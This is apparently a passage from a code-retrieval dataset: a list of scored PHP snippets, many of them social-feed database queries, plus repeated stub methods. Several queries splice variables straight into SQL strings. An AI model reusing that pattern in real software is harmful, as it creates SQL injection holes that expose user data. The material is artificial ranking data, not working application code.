0) {\n $array[$this->name]['#'] = $this->content;\n $array[$this->name]['@'] = $this->attributes;\n } else {\n $array[$this->name] = $this->content;\n }\n break;\n case 'section':\n if ($useAttr && count($this->attributes) > 0) {\n $array[$this->name]['@'] = $this->attributes;\n }\n if (count($this->children) > 0) {\n for ($i = 0; $i < count($this->children); $i++) {\n $newArr = $this->children[$i]->toArray($useAttr);\n if (!is_null($newArr)) {\n foreach ($newArr as $key => $value) {\n if (isset($array[$this->name][$key])) {\n // duplicate name/type\n if (!is_array($array[$this->name][$key]) ||\n !isset($array[$this->name][$key][0])) {\n $old = $array[$this->name][$key];\n unset($array[$this->name][$key]);\n $array[$this->name][$key][0] = $old;\n }\n $array[$this->name][$key][] = $value;\n } else {\n $array[$this->name][$key] = $value;\n }\n }\n }\n }\n }\n break;\n default:\n return null;\n }\n return $array;\n }", "title": "" }, { "docid": "0328ed50fabada8a489331e195a0b9dd", "score": "0.46968454", "text": "public function providerGetArrayObject()\n {\n $data[] = array(array(1, 2, 3), array(1, 2, 3));\n $data[] = array(new ArrayObject(array(1, 2, 3)), array(1, 2, 3));\n $data[] = array(new stdClass(), null);\n $data[] = array(1, null);\n $data[] = array(null, null);\n return $data;\n }", "title": "" }, { "docid": "64c2123073d24458cbff38c1605ec3d3", "score": "0.46891695", "text": "function createWthArray() {\n\t\t\n\t\t$ret[\"address\"] = \"\";\n\t\t$ret[\"inste\"] = \"\";\n\t\t$ret[\"sitee\"] = \"\";\n\t\t$ret[\"xlat\"] = \"\";\n\t\t$ret[\"xlong\"] = \"\";\n\t\t$ret[\"elev\"] = \"\";\n\t\t$ret[\"tav\"] = \"\";\n\t\t$ret[\"tamp\"] = \"\";\n\t\t$ret[\"refht\"] = \"\";\n\t\t$ret[\"wndht\"] = \"\";\n\t\t$ret[\"daily\"] = array();\n\t\t\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "86b4d94fcb0382794abd3a8ef041215d", "score": "0.4682646", "text": "private static /*. mixed[int][int] .*/ function new_array(/*. int .*/ $size)\n\t{\n\t\t$a = /*. (mixed[int][int]) .*/ array();\n\t\tfor($i = 0; $i < $size; $i++)\n\t\t\t$a[$i] = NULL;\n\t\treturn $a;\n\t}", "title": "" }, { "docid": "13f4e8ba3271269111bbf3dcd16d7e02", "score": "0.4662838", "text": "function inicializa_arrays()\n {\n global $nm_data;\n $nm_data = new nm_data(\"pt_br\");\n $this->array_total_participante = array();\n $this->array_total_pista = array();\n }", "title": "" }, { "docid": "5cf5ee0b66e00c855195c24b568c32fc", "score": "0.46619678", "text": "public function getArray() {}", "title": "" }, { "docid": "5b0f39d398541a577c357bf2d7ae1cc4", "score": "0.46565926", "text": "private function _createAllocationTable($table, $name, $startPeriod, $length) {\n\t\t$endPeriod = $this->_endPeriod($startPeriod, $length);\n\t\t$sql = \"CREATE TEMPORARY TABLE IF NOT EXISTS $name ENGINE = MEMORY AS ( \" .\n\t\t\t \" SELECT a.projectId AS projectId, a.resourceId AS resourceId, a.period AS period, a.value AS value FROM $table a INNER JOIN ( \" .\n\t\t\t \" SELECT projectId, resourceId, period, MAX(timestamp) AS latest FROM $table GROUP BY projectId, resourceId, period \" .\n\t\t\t \" ) b ON a.projectId = b.projectId AND a.resourceId = b.resourceId AND a.period = b.period AND a.timestamp = b.latest \" .\n\t\t\t \" WHERE a.period >= '$startPeriod' AND a.period < '$endPeriod' \" .\n\t\t\t \")\";\n\n\t\treturn $this->_setQuery($sql);\n\t}", "title": "" }, { "docid": "8f3c02bfd07028b9434310ca040e7350", "score": "0.4650662", "text": "public function toArray(): array ;", "title": "" }, { "docid": "11857d115e4916c7734af4a393f2cfba", "score": "0.46502438", "text": "public function toArray() {\n\t\t$array = array();\n\t\tforeach ($this->storage as $item) {\n\t\t\t$array[] = $item['obj'];\n\t\t}\n\t\treturn $array;\n\t}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.4644612", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.4644612", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.4644612", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.4644612", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.4644316", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.4644316", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.4644316", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.4644316", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.46440473", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.46440473", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.46440473", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.46440473", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.46440473", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.46440473", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.46440473", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.46440473", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.46440473", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.46440473", "text": "public function toArray() {}", "title": "" }, { "docid": "af1241bd9b6306d79e81964a812d59dd", "score": "0.4643206", "text": "public function objectToArray()\n {\n }", "title": "" }, { "docid": "77d0d2ceecb2f2c2cfa92742f5af5ce7", "score": "0.46359876", "text": "function generateKsArray()\n{\n $dateTime = new DateTime(\"now\");\n $ts = $dateTime->getTimestamp();\n if (intval($ts%REFRESHING_TIME) < INTERVAL)\n $Ks_array = array ( getKsFromPK(PRIVATE_KEY), getKsFromPK(PRIVATE_KEY,true));\n else\n $Ks_array = array ( getKsFromPK(PRIVATE_KEY));\n return $Ks_array;\n}", "title": "" }, { "docid": "f911d51b247c0c30a853e3286a559460", "score": "0.46309778", "text": "abstract protected function typeData(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" }, { "docid": "4be893a37747e09383959bc7db8ca5e7", "score": "0.4621831", "text": "public function toArray(): array;", "title": "" } ]
0e33f39da92090ec819ada66a5fecf5d
$temp = $this>db>query('SELECT DISTINCT id_zhout from tb_zhopie_zhout WHERE id_zhout > "'.$id_zhout.'" and id_member = "'.$friends[0]['id_member'].'" order by id_zhout asc limit 0,10');
[ { "docid": "392054abf567aed5f61a8809612b87a5", "score": "0.7203871", "text": "function get_post_id_by_recentZhout($user_id, $id_zhout)\n\t{\n\t$friends = array();\n\tif(!is_array($user_id))\n\t{\n\t\t$friends[]=$user_id;\n\t}\n\telse\n\t{\n\t\t$friends = $user_id;\n\t}\t\n\t$text = \"SELECT DISTINCT tb_zhopie_zhout.id_zhout from tb_zhopie_zhout JOIN tb_relation_zhout ON tb_zhopie_zhout.id_zhout = tb_relation_zhout.id_zhout LEFT JOIN tb_zhopie_profile ON tb_zhopie_profile.id_member = tb_zhopie_zhout.id_member LEFT JOIN tb_follow on tb_follow.id_shop = tb_zhopie_zhout.id_shop WHERE \";\n\t\n\t$inc = 0;\n\t$add_text =\"\";\n\tforeach($friends as $value)\n\t{\n\t\t if(!is_array($value))\n\t\t{\n\t\t$add_text .= \"tb_relation_zhout.id_member_and_friends = '\".$value.\"' and tb_relation_zhout.id_zhout > \".$id_zhout.\" \";\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif($inc == 0)\n\t\t\t{\n\t\t\t\t$add_text .= \"tb_relation_zhout.id_member_and_friends = '\".$value['id_member'].\"' and tb_relation_zhout.id_zhout > \".$id_zhout.\" \";\n\t\t\t}\n\t\t\telse if($inc < count($friends)-1)\n\t\t\t{\n\t\t\t\t$add_text .= \" or tb_relation_zhout.id_member_and_friends ='\".$value['id_member'].\"' and tb_relation_zhout.id_zhout > \".$id_zhout.\" \";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$add_text .= \" or tb_relation_zhout.id_member_and_friends ='\".$value['id_member'].\"' and tb_relation_zhout.id_zhout > \".$id_zhout.\" \";\n\t\t\t}\n\t }\n\t$inc ++;\n\t}\n\t$text .= $add_text.\" order by tb_zhopie_zhout.id_zhout asc limit 0,10\";\n\t$result = $this->db->query($text);\n\treturn $result;\n }", "title": "" } ]
[ { "docid": "f554915b7ca96bf34ff7c79baf586de7", "score": "0.65971196", "text": "function get_post_data_by_id_member($_id_member)\n\t{\n\t\t$_friends_and_me = $this->get_id_friends($_id_member);\n\t\t$text = \"SELECT DISTINCT tb_zhopie_zhout.id_zhout from tb_zhopie_zhout JOIN tb_relation_zhout ON tb_zhopie_zhout.id_zhout = tb_relation_zhout.id_zhout LEFT JOIN tb_zhopie_profile ON tb_zhopie_profile.id_member = tb_zhopie_zhout.id_member WHERE \";\n\t\t//LEFT JOIN tb_follow on tb_follow.id_shop = tb_zhopie_zhout.id_shop // tb_follow.id_member = '004'\n\t\t$inc = 0;\n\t\t$add_text =\"\";\n\t\tforeach($_friends_and_me as $value)\n\t\t{\n\t\t\tif(!is_array($value))\n\t\t\t{\n\t\t\t$add_text .= \"tb_zhopie_zhout.id_member = '\".$value.\"'\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif($inc == 0)\n\t\t\t\t{\n\t\t\t\t\t$add_text .= \"tb_zhopie_zhout.id_member = '\".$value['id_member'].\"'\";\n\t\t\t\t}\n\t\t\t\telse if($inc < count($friends)-1)\n\t\t\t\t{\n\t\t\t\t\t$add_text .= \" or tb_zhopie_zhout.id_member ='\".$value['id_member'].\"'\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$add_text .= \" or tb_zhopie_zhout.id_member ='\".$value['id_member'].\"'\" ;\n\t\t\t\t}\n\t\t\t\t\n\t\t\n\t\t }\n\t\t$inc ++;\n\t\t}\n\t\t\n\t\t$text .= $add_text.\" order by tb_zhopie_zhout.id_zhout desc limit 0,10\";\n\t\t\n\t\t\t$result = $this->db->query($text);\n\t\t\treturn $result;\n\t\t\n\t}", "title": "" }, { "docid": "b06d20bc4b773002d4de62096925b630", "score": "0.64383096", "text": "function get_post_id_by_newsfeeds_show_more_post($user_id,$offset)\n\t{\n\t\t//$result = $this->db->query(\"SELECT id_zhout from tb_zhopie_zhout LEFT JOIN tb_zhopie_profile ON tb_zhopie_profile.id_member = tb_zhopie_zhout.id_member WHERE tb_zhopie_zhout.id_member= '\".$user_id.\"' order by tb_zhopie_zhout.id_zhout desc limit \".$limit.\",10\");\n\t\t//return $result;\n\t\t$friends = array();\n\tif(!is_array($user_id))\n\t{\n\t\t$friends[]=$user_id;\n\t}\n\telse\n\t{\n\t\t$friends = $user_id;\n\t}\n\t$text = \"SELECT DISTINCT tb_zhopie_zhout.id_zhout from tb_zhopie_zhout JOIN tb_relation_zhout ON tb_zhopie_zhout.id_zhout = tb_relation_zhout.id_zhout LEFT JOIN tb_zhopie_profile ON tb_zhopie_profile.id_member = tb_zhopie_zhout.id_member WHERE \";\n\t$inc = 0;\n\t$add_text =\"\";\n\t\n\tforeach($friends as $value)\n\t{\n\t\tif(!is_array($value))\n\t\t{\n\t\t$add_text .= \"tb_zhopie_zhout.id_member = '\".$value.\"'\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif($inc == 0)\n\t\t\t{\n\t\t\t\t$add_text .= \"tb_zhopie_zhout.id_member = '\".$value['id_member'].\"'\";\n\t\t\t}\n\t\t\telse if($inc < count($friends)-1)\n\t\t\t{\n\t\t\t\t$add_text .= \" or tb_zhopie_zhout.id_member ='\".$value['id_member'].\"'\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$add_text .= \" or tb_zhopie_zhout.id_member ='\".$value['id_member'].\"'\" ;\n\t\t\t}\n\t\t\t\n\t\n\t }\n\t$inc ++;\n\t}\n\t\n\t$text .= $add_text.\" order by tb_zhopie_zhout.id_zhout desc limit \".$offset.\",10\";\n\t\n\t\t$result = $this->db->query($text);\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "937e4387e525c7616e9b576b451f70ff", "score": "0.6383646", "text": "function get_post_data_by_id_member_most_active($_id_member,$_offset = 0, $_LIMIT = 10,$_CATEGORY= FALSE,$_FRIEND =FALSE)\n\t{\n\t\t\n\t\t\t\n\t\t\t$_friends_and_me = $this->get_id_friends($_id_member);\n\t\n\t\t\t$_friends_and_me[] = array('id_member'=>$_id_member);\n\t\t\t$_extern_value = array();\n\t\t\tforeach ($_friends_and_me as $_value_member)\n\t\t\t{\n\t\t\t\t$_extern_value[] = $_value_member['id_member'];\n\t\t\t}\n\t\t\t\n\t\t\t$_string_id_members = implode(',',$_extern_value);\n\t\t\t$text = \"SELECT DISTINCT * from tb_zhopie_zhout JOIN tb_relation_zhout ON tb_zhopie_zhout.id_zhout = tb_relation_zhout.id_zhout WHERE tb_zhopie_zhout.id_member IN \";\n\t\t\t$text .= \"(\".$_string_id_members.\")\";\n\t\t\tif ($_CATEGORY)\n\t\t\t{\n\t\t\t\t$text .= \" group by tb_zhopie_zhout.id_zhout order by \" ;\n\t\t\t\t$text .= \"CASE \";\n\t\t\t\t//GET CATEGORY ID\n\t\t\t\t$this->db->select('id_category');\n\t\t\t\t$this->db->where('active',1);\n\t\t\t\t$_data_category =$this->db->get('tb_category');\n\t\t\t\t$_data_category = $_data_category->result_array();\n\t\t\t\t$_tmp_category = array();\n\t\t\t\tforeach ($_data_category as $_value)\n\t\t\t\t{\n\t\t\t\t\t$_tmp_category[] = $_value['id_category'];\n\t\t\t\t}\n\t\t\t\t\t$_key_to_remove = array_search($_CATEGORY,$_tmp_category);\n\t\t\t\t\t\n\t\t\t\t\tif($_key_to_remove !== FALSE)\n\t\t\t\t\t{\n\t\t\t\t\t\tunset($_tmp_category[$_key_to_remove]);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t//add to priority\n\t\t\t\t\t$_priority_case = array_merge(array('0'=>$_CATEGORY),$_tmp_category);\n\t\t\t\t$_inc = 1;\n\t\t\t\tforeach ($_priority_case as $_value)\n\t\t\t\t{\n\t\t\t\t\t$text.= \"WHEN tb_zhopie_zhout.id_category = \".$_value.\" THEN \".$_inc.\" \";\t\n\t\t\t\t\t$_inc ++;\n\t\t\t\t}\n\t\t\t\t$text.= \" WHEN tb_zhopie_zhout.id_category = 0 THEN \".$_inc.\" END , tb_zhopie_zhout.attr_time desc limit \".$_offset.\",\".$_LIMIT.\"\";\n\t\t\t\t\t\t\n\t\t\t}\n\t\t\telse if ($_FRIEND)\n\t\t\t{\n\t\t\t\t$text .= \" group by tb_zhopie_zhout.id_zhout order by \" ;\n\t\t\t\t$text .= \"CASE \";\n\t\t\t\t$text .= \"WHEN tb_zhopie_zhout.id_member !=\".$_id_member.\" THEN 1 \n\t\t\t\t\t\t ELSE 2 END , tb_zhopie_zhout.attr_time desc limit \".$_offset.\",\".$_LIMIT.\" \";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$text .=\" group by tb_zhopie_zhout.id_zhout order by tb_zhopie_zhout.attr_time desc limit \".$_offset.\",\".$_LIMIT.\"\";\n\t\t\t}\n\t\t\n\t\n\t\t\t$result = $this->db->query($text);\n\t\t\treturn $result->result_array();\n\t\t\n\t}", "title": "" }, { "docid": "b013923b66eebd1e9b6aa80d5bb1aecc", "score": "0.637114", "text": "function get_post_id_you_by($user_id)\n\t{\n\t $this->db->distinct('tb_zhopie_zhout.id_zhout');\n\t $this->db->from('tb_zhopie_zhout');\n\t $this->db->join('tb_relation_zhout','tb_zhopie_zhout.id_zhout=tb_relation_zhout.id_zhout');\n\t $this->db->where('tb_zhopie_zhout.id_member',$user_id);\n\t $this->db->where('tb_relation_zhout.id_member_and_friends',$user_id);\n\t $this->db->order_by('tb_zhopie_zhout.id_zhout','desc');\n\t $this->db->limit(10);\n\t $data = $this->db->get();\n\t return $data;\n\t}", "title": "" }, { "docid": "3f73d445636a20fbfbdc2a274b074b35", "score": "0.63212997", "text": "function recent_activity()\n\t{\n\t\t$result = $this->db->query(\"select distinct a.id_stuff as barang, e.id_member, a.zhout_content, a.id_shop as wishlist, \n\t\t\t\t\t\t\t\t\td.id_shop as zhopie_shop, b.first_name, b.last_name, c.name_stuff, a.id_member as zhout_member\n\t\t\t\t\t\t\t\t\tfrom tb_zhopie_zhout as a\n\t\t\t\t\t\t\t\t\tleft join tb_zhopie_profile as b on a.id_member = b.id_member \n\t\t\t\t\t\t\t\t\tleft join tb_stuff as c on a.id_stuff = c.id_stuff \n\t\t\t\t\t\t\t\t\tleft join tb_relation_category as d on c.id_stuff = d.id_stuff\n\t\t\t\t\t\t\t\t\tleft join tb_zhopie_shop as e on d.id_shop = e.id_shop \n\t\t\t\t\t\t\t\t\torder by rand() limit 20;\");\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "ba57c08aa4b91d18bc42428b32e64a25", "score": "0.6240266", "text": "function dohvacanjeKomentaraClanka($id){\r\n global $c;\r\n $q = \"SELECT * FROM komentari WHERE vk_clanka = $id \r\n ORDER BY datum_unosa DESC\";\r\n $r = $c->query($q);\r\n return $r;\r\n}", "title": "" }, { "docid": "03a316b5ad2770adc4a29d38d3a2822a", "score": "0.6211239", "text": "function get_comment_by_id_zhout($_id_zhout,$_offset = 0 , $_limit = FALSE, $_get_from_last = FALSE)\n\t{\n\t\t$_count_all = $this->count_total_comment_by_id_zhout($_id_zhout);\n\t\t$this->db->select('*,UNIX_TIMESTAMP() - date AS CommentTimeSpent');\n\t\t$this->db->from('tb_zhout_comment');\n\t\t$this->db->join('tb_zhopie_profile','tb_zhout_comment.id_member=tb_zhopie_profile.id_member');\n\t\t$this->db->where('tb_zhout_comment.id_zhout',$_id_zhout);\n\t\tif($_limit)\n\t\t{\n\t\t\tif( $_get_from_last )\n\t\t\t{\n\t\t\t\t$this->db->limit($_limit,$_count_all-$_limit);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t$this->db->limit($_limit,$_offset);\n\t\t\t}\n\t\t}else\n\t\t{\n\t\t\t//for showing after first comment with 2 row have showed, offset must set to 2;\n\t\t\tif( $_get_from_last )\n\t\t\t{\n\t\t\t\t$this->db->limit($_count_all-2,0);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t$this->db->limit($_count_all,$_offset);\n\t\t\t}\n\t\t}\n\t\t$result = $this->db->get();\n\t\treturn $result->result_array();\n\t}", "title": "" }, { "docid": "b93753941c85267e992445231b9aec74", "score": "0.6159784", "text": "function get_post_data_by_id_member_last_update($_id_member,$_offset = 0, $_LIMIT = 10,$_CATEGORY= FALSE,$_FRIEND =FALSE)\n\t{\n\t\t\n\t\t\t\n\t\t\t$_friends_and_me = $this->get_id_friends($_id_member);\n\t\n\t\t\t$_friends_and_me[] = array('id_member'=>$_id_member);\n\t\t\t$_extern_value = array();\n\t\t\tforeach ($_friends_and_me as $_value_member)\n\t\t\t{\n\t\t\t\t$_extern_value[] = $_value_member['id_member'];\n\t\t\t}\n\t\t\t\n\t\t\t$_string_id_members = implode(',',$_extern_value);\n\t\t\t$text = \"SELECT DISTINCT * from tb_zhopie_zhout JOIN tb_relation_zhout ON tb_zhopie_zhout.id_zhout = tb_relation_zhout.id_zhout WHERE tb_zhopie_zhout.id_member IN \";\n\t\t\t$text .= \"(\".$_string_id_members.\")\";\n\t\t\tif ($_CATEGORY)\n\t\t\t{\n\t\t\t\t$text .= \" group by tb_zhopie_zhout.id_zhout order by \" ;\n\t\t\t\t$text .= \"CASE \";\n\t\t\t\t//GET CATEGORY ID\n\t\t\t\t$this->db->select('id_category');\n\t\t\t\t$this->db->where('active',1);\n\t\t\t\t$_data_category =$this->db->get('tb_category');\n\t\t\t\t$_data_category = $_data_category->result_array();\n\t\t\t\t$_tmp_category = array();\n\t\t\t\tforeach ($_data_category as $_value)\n\t\t\t\t{\n\t\t\t\t\t$_tmp_category[] = $_value['id_category'];\n\t\t\t\t}\n\t\t\t\t\t$_key_to_remove = array_search($_CATEGORY,$_tmp_category);\n\t\t\t\t\t\n\t\t\t\t\tif($_key_to_remove !== FALSE)\n\t\t\t\t\t{\n\t\t\t\t\t\tunset($_tmp_category[$_key_to_remove]);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t//add to priority\n\t\t\t\t\t$_priority_case = array_merge(array('0'=>$_CATEGORY),$_tmp_category);\n\t\t\t\t$_inc = 1;\n\t\t\t\tforeach ($_priority_case as $_value)\n\t\t\t\t{\n\t\t\t\t\t$text.= \"WHEN tb_zhopie_zhout.id_category = \".$_value.\" THEN \".$_inc.\" \";\t\n\t\t\t\t\t$_inc ++;\n\t\t\t\t}\n\t\t\t\t$text.= \" WHEN tb_zhopie_zhout.id_category = 0 THEN \".$_inc.\" END , tb_zhopie_zhout.id_zhout desc limit \".$_offset.\",\".$_LIMIT.\"\";\n\t\t\t\t\t\t\n\t\t\t}\n\t\t\telse if ($_FRIEND)\n\t\t\t{\n\t\t\t\t$text .= \" group by tb_zhopie_zhout.id_zhout order by \" ;\n\t\t\t\t$text .= \"CASE \";\n\t\t\t\t$text .= \"WHEN tb_zhopie_zhout.id_member !=\".$_id_member.\" THEN 1 \n\t\t\t\t\t\t ELSE 2 END , tb_zhopie_zhout.id_zhout desc limit \".$_offset.\",\".$_LIMIT.\" \";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$text .=\" group by tb_zhopie_zhout.id_zhout order by tb_zhopie_zhout.id_zhout desc limit \".$_offset.\",\".$_LIMIT.\"\";\n\t\t\t}\n\t\t\n\t\n\t\t\t$result = $this->db->query($text);\n\t\t\treturn $result->result_array();\n\t\t\n\t}", "title": "" }, { "docid": "b664586b1cab10897cba2bad92b59e05", "score": "0.60375136", "text": "function getPlayerList($mysqli, $mysql_table_prefix, $page) {\n $query = \"SELECT * FROM \" . $mysql_table_prefix . \"player GROUP BY player_id ORDER BY greatest(ifnull(lastjoin,0), ifnull(lastleave,0)) DESC LIMIT 15 OFFSET \" . ((mysqli_real_escape_string($mysqli, $page) - 1) * 15);\n $result = $mysqli->query($query);\n\n return $result;\n}", "title": "" }, { "docid": "ffa3d24367185c2f2ec4c6a1f030ac7f", "score": "0.6010102", "text": "function group_getDistinct(){\r\n\t$bdd = Database3Splus::getinstance(); //connexion();\r\n\t$req = \"SELECT DISTINCT id_group FROM groups\";\r\n\t$result = $bdd->prepare($req);\r\n\t$result->execute();\r\n\t$groups = $result->fetchAll();\r\n\treturn $groups;\r\n}", "title": "" }, { "docid": "915be2a3b338725494c20bf0c0271a54", "score": "0.5941733", "text": "function ds_dmsp(){\n global $conn;\n connect();\n $sql = \"select * from danhmuc_sp WHERE id_dmsp ORDER BY id_dmsp ASC limit 8\";\n $query = mysqli_query($conn, $sql);\n return $query;\n}", "title": "" }, { "docid": "c51e5aba71f45d2f005f8b024e74e572", "score": "0.59224206", "text": "function get_followings($uid) {\n\t$db = \\Db::dbc();\n\t$sql=\"SELECT IDUSER_ABONNE FROM SUIVRE WHERE IDUSER_SUIVRE = :id \";\n\t$sth=$db->prepare($sql);\n\ttry{\n\t\t$sth->execute(array(\":id\"=>$uid));\n\t\n\t\t\t$i=0;\n\t\t\t$arr=array();\n \t\t\twhile($row=$sth->fetch()) {\t\t\n \t\t\t$id[$i]=$row['IDUSER_ABONNE'];\n\t\t\t$arr[$i]=get($id[$i]);\n\t\t\t$i++;\n \t \t\t}\n \t\t\treturn $arr;\n\t\t\n\t}catch(PDOException $e){\n \techo 'failed:'.$e->getMessage();\n exit;\n \t}\n\n //return [get(2)];\n}", "title": "" }, { "docid": "8ae2b3b51ce8f8cdb15898c27098ec32", "score": "0.59217745", "text": "function add_zhout($_data_zhout = array())\n\t{\n\t\t$this->db->insert('tb_zhopie_zhout',$_data_zhout);\n\t\t$_last_insert = $this->db->insert_id();\n\t\t$_friends_and_me = $this->get_id_friends($_data_zhout['id_member']);\n\t\t$_friends_and_me[] = array('id_member'=>$_data_zhout['id_member']);\n\t\t$this->insert_friends_id($_last_insert,$_friends_and_me);\n\t\treturn $this->get_zhout_by_id_zhout($_last_insert);\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "e076c57d67ee6d3bbfd9660b066ab749", "score": "0.5866052", "text": "function getLikePostPerson($db, $feed_id)\n{\n $feed_like_list = $db->prepare(\"SELECT * FROM feed_like where feed_id = $feed_id order by id DESC\");\n $feed_like_list->execute();\n $feed_like_list = $feed_like_list->fetchAll();\n\n return $feed_like_list;\n}", "title": "" }, { "docid": "310cd7a0feca945b6e529d959b6355da", "score": "0.58322394", "text": "function selectNewsfeed($id) {\r\n return $this->db->query(\"select * from newsfeed natural join users where user_id= '$id' ORDER BY time DESC\");\r\n\t\t\r\n\t}", "title": "" }, { "docid": "71c7811e03a0e6c637bb0b39ed3c5d64", "score": "0.5831591", "text": "function following($userid){\n global $conn; \n $users = array();\n $sql = \"select distinct user_id from following where follower_id = '$userid' and user_id in (SELECT id FROM `users` where status='active')\";\n $result = mysqli_query($conn, $sql);\n while($data = mysqli_fetch_object($result)){\n\t\tarray_push($users, $data->user_id);\n }\t\n return $users;\n}", "title": "" }, { "docid": "96c64396dbfcbd3b032e610b0cac867b", "score": "0.58272403", "text": "function follower($userid){\n global $conn; \n $users = array();\n $sql = \"select distinct follower_id from following where user_id = '$userid' and follower_id in (SELECT id FROM `users` where status='active')\";\n $result = mysqli_query($conn, $sql);\n while($data = mysqli_fetch_object($result)){\n\t\tarray_push($users, $data->follower_id);\n }\t\n return $users;\n}", "title": "" }, { "docid": "fc4f9b807ec8fc356570dbf42862b01a", "score": "0.5823642", "text": "function get_category_zhout($_id_member)\n\t{\n\t\t$this->db->select('id_category');\n\t\t$this->db->from ('tb_zhopie_profile');\n\t\t$this->db->where('id_member',$_id_member);\n\t\t$_id_category = $this->db->get();\n\t\t$_id_category = array_shift($_id_category->result_array());\n\t\t$_id_category = 